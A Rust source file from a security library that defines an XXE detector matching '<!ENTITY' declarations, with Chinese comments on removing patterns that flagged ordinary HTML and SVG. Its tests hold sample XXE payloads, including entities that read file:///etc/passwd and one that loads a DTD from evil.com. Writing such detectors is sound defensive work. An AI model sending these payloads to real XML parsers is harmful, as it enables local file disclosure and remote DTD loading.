Skip to main content

security_rust/protocol/
xxe.rs

1// Copyright (c) 2026 erik <erik@erik.xyz> — https://erik.xyz
2
3use regex::Regex;
4use std::sync::LazyLock;
5
6use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
7
8// 只认实体声明本身。`<!DOCTYPE ` / `PUBLIC "` / `SYSTEM "` 三条已删除:它们是
9// 普通文档与散文的日常形态——HTML 首页的 `<!DOCTYPE html>`、Inkscape 等工具产出的
10// `<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" …>`、以及
11// `The report was generated with SYSTEM "production" settings.` 全部被判 Critical。
12// 真正的外部实体入口是 `<!ENTITY`,下面这一条已覆盖全部四种实体形态(含大小写混写)。
13/// 只剩这一条分支,合并本身不省任何扫描——这里跟其余检测器统一成
14/// `LazyLock<Regex>` + `from_ref` 的形态,免得被读成「漏改的那个」。
15/// 模式文本与逐条版本逐字相同,行为不变。
16static PATTERNS: LazyLock<Regex> = LazyLock::new(|| Regex::new(r"(?i)<!ENTITY\s+").unwrap());
17
18pub struct XxeDetector;
19
20impl Detector for XxeDetector {
21    fn name(&self) -> &'static str {
22        "xxe"
23    }
24
25    fn detect(&self, input: &str) -> Option<DetectionResult> {
26        regex_detect(
27            std::slice::from_ref(&*PATTERNS),
28            self.name(),
29            AttackCategory::Protocol,
30            Severity::Critical,
31            "XXE XML External Entity attack detected",
32            input,
33        )
34    }
35}
36
37#[cfg(test)]
38mod tests {
39    use super::*;
40
41    fn assert_detected(input: &str) {
42        crate::test_helpers::assert_detected(
43            &XxeDetector,
44            input,
45            AttackCategory::Protocol,
46            Severity::Critical,
47        );
48    }
49
50    fn assert_clean(input: &str) {
51        crate::test_helpers::assert_clean(&XxeDetector, input);
52    }
53
54    #[test]
55    fn name_is_xxe() {
56        assert_eq!(XxeDetector.name(), "xxe");
57    }
58
59    #[test]
60    fn detects_inline_entity() {
61        assert_detected("<!ENTITY xxe SYSTEM \"file:///etc/passwd\">");
62    }
63
64    #[test]
65    fn detects_doctype_with_entity() {
66        // 命中的是文档里的 `<!ENTITY`,不是 `<!DOCTYPE` —— 没有实体的 DOCTYPE 是普通文档
67        assert_detected(
68            "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>",
69        );
70    }
71
72    #[test]
73    fn detects_parameter_entity() {
74        assert_detected("<!ENTITY % param SYSTEM \"http://evil.com/xxe.dtd\">");
75    }
76
77    #[test]
78    fn detects_public_entity() {
79        assert_detected(
80            "<!ENTITY xxe PUBLIC \"-//W3C//DTD XHTML 1.0//EN\" \"file:///etc/passwd\">",
81        );
82    }
83
84    #[test]
85    fn detects_mixed_case_markup() {
86        assert_detected("<!entity xxe system \"file:///etc/passwd\">");
87    }
88
89    #[test]
90    fn rejects_benign_xml() {
91        assert_clean("<note><to>Joe</to><from>Bob</from><body>Hi</body></note>");
92        assert_clean("<ENTITY>plain text</ENTITY>");
93        assert_clean("<!DOCTYPEfoo>");
94        assert_clean("SYSTEM\"file:///etc/passwd\"");
95        assert_clean("<!ENTITY>");
96    }
97
98    #[test]
99    fn rejects_near_misses() {
100        assert_clean("<!ENTITYxxe>");
101        assert_clean("<!ENTITY%xxe>");
102        assert_clean("SYSTEM /etc/passwd");
103    }
104
105    /// 现实文档语料。缺了这一组,`<!DOCTYPE `/`PUBLIC "`/`SYSTEM "` 三条误报才会
106    /// 上线:作者只验证了 `<!DOCTYPEfoo>`(无空格)与 `SYSTEM`(无引号)这类贴边形态,
107    /// 没验证真实文档里的形态。本仓自带 `upload`/`data_leak` 文件内容扫描,
108    /// SVG 被判 Critical 等于用户传张图就被拒。
109    #[test]
110    fn rejects_real_world_documents() {
111        // 普通 HTML 页面
112        assert_clean(concat!(
113            "<!DOCTYPE html>\n<html lang=\"zh\">\n<head>\n<meta charset=\"utf-8\">\n",
114            "<title>关于我们</title>\n</head>\n<body><p>Hello</p></body>\n</html>"
115        ));
116        // Inkscape 等工具产出的标准 SVG:DOCTYPE 带 PUBLIC,无任何实体声明
117        assert_clean(concat!(
118            "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n",
119            "<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" ",
120            "\"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n",
121            "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\">",
122            "<path d=\"M4 4h16v16H4z\"/></svg>"
123        ));
124        assert_clean(concat!(
125            "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" ",
126            "\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">"
127        ));
128        // 散文里的 SYSTEM " / PUBLIC "
129        assert_clean("The report was generated with SYSTEM \"production\" settings.");
130        assert_clean("The PUBLIC \"roadmap\" document was published last week.");
131        // 普通查询串:重复 key 是 hpp 的判定对象,不是 XXE
132        assert_clean("/search?tag=rust&tag=security&page=2");
133        // 普通文本里的 cc:
134        assert_clean("Please cc: ops@example.com on the reply.");
135    }
136
137    #[test]
138    fn rejects_empty_and_whitespace() {
139        assert_clean("");
140        assert_clean("   ");
141    }
142
143    #[test]
144    fn rejects_unicode_text() {
145        assert_clean("这是一段普通的中文 XML 描述文本");
146    }
147}